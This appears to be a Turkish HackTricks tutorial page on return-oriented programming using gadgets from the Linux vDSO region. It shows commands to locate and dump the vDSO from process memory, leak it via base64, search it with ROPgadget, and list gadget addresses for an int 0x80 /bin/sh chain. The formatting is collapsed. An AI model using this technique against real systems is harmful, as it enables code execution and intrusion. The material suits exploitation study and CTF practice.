Hacking püf noktalarınızı paylaşarak PR'lar göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Temel Bilgiler
Genellikle kullanıcı modundan çekirdek moduna geçiş için kullanılan vDSO bölgesindeki aygıtlar olabilir. Bu tür zorluklarda genellikle bir çekirdek görüntüsü sağlanır ve vDSO bölgesi dökülür.
# Find addressescat/proc/76/maps08048000-08049000r--p0000000000:02317/target08049000-0804a000r-xp0000100000:02317/target0804a000-0804b000rw-p0000200000:02317/targetf7ff8000-f7ffc000r--p0000000000:000 [vvar]f7ffc000-f7ffe000r-xp0000000000:000 [vdso]fffdd000-ffffe000rw-p0000000000:000 [stack]# Dump itddif=/proc/76/memof=vdsobs=1skip=$((0xf7ffc000))count=$((0x2000))8192+0recordsin8192+0recordsout8192bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s# Compress and leak itgzipvdsobase64vdso.gz# Decompress and check of gadgetsecho'<base64-payload>'|base64-d|gzip-d->vdsofilevdsoROPgadget--binaryvdso|grep'int 0x80'
Bulunan ROP cihazları:
vdso_addr =0xf7ffc000int_0x80_xor_eax_eax_ret_addr =0x8049010bin_sh_addr =0x804a800# 0x0000057a : pop edx ; pop ecx ; retpop_edx_pop_ecx_ret_addr = vdso_addr +0x57a# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; retmov_dword_ptr_edx_ecx_ret_addr = vdso_addr +0xcca# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; retor_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr +0xccb# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; retpop_ebx_pop_esi_pop_ebp_ret = vdso_addr +0x15cd
Kali 2023.2 arm64'te bir ikili dosyanın vdso bölümünü döküp kontrol ettikten sonra, orada ilginç bir araç bulamadım (yığında bulunan değerlerden kayıtları kontrol etmek veya bir ret için x30'u kontrol etmek için bir yol yok) ancak bir SROP'u çağırmak için bir yol var. Daha fazla bilgi için sayfadaki örneğe bakın: